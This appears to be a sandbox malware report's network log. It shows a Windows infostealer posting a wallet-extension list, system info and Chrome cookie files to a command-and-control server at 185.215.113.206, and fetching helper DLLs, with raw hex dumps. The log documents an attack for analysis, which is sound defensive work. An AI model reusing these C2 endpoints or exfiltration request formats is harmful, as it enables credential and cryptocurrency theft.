Nov 24, 2024 23:24:06.924880981 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Nov 24, 2024 23:24:06.924892902 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Nov 24, 2024 23:24:06.933010101 CET	792	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Nov 24, 2024 23:24:06.935282946 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECGHCFIJDAAKFHJJDH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 2d 2d 0d 0a Data Ascii: ------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="message"fplugins------JKECGHCFIJDAAKFHJJDH--
Nov 24, 2024 23:24:07.391825914 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 24, 2024 23:24:07.409305096 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHDHJEBGHJKFIECBGC Host: 185.215.113.206 Content-Length: 6087 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 23:24:07.409347057 CET	6087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 Data Ascii: ------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 24, 2024 23:24:08.506815910 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 23:24:08.773556948 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 23:24:09.227925062 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 24, 2024 23:24:09.228106022 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 24, 2024 23:24:09.233253002 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49723	185.215.113.206	80	1680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 23:24:19.046547890 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFCBFBGDBKJKECAAKKF Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------ECFCBFBGDBKJKECAAKKF--
Nov 24, 2024 23:24:20.898303032 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 23:24:21.021785021 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="file"------IDAEHCFHJJJJECAAFBKJ--
Nov 24, 2024 23:24:21.963877916 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49760	185.215.113.206	80	1680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 23:24:27.988677979 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDA Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 23:24:27.988843918 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 24, 2024 23:24:29.901716948 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 23:24:30.029649973 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="file"------IDHJEBGIEBFIJKEBFBFH--
Nov 24, 2024 23:24:30.996706009 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 23:24:31.494694948 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 23:24:31.949482918 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 24, 2024 23:24:31.949517965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 24, 2024 23:24:31.949532986 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 24, 2024 23:24:31.949548006 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 24, 2024 23:24:31.949588060 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 24, 2024 23:24:31.949604034 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 24, 2024 23:24:31.949620962 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 24, 2024 23:24:31.949681044 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 24, 2024 23:24:31.957736969 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 24, 2024 23:24:31.957855940 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 24, 2024 23:24:33.495590925 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 23:24:33.949908972 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 24, 2024 23:24:34.916706085 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
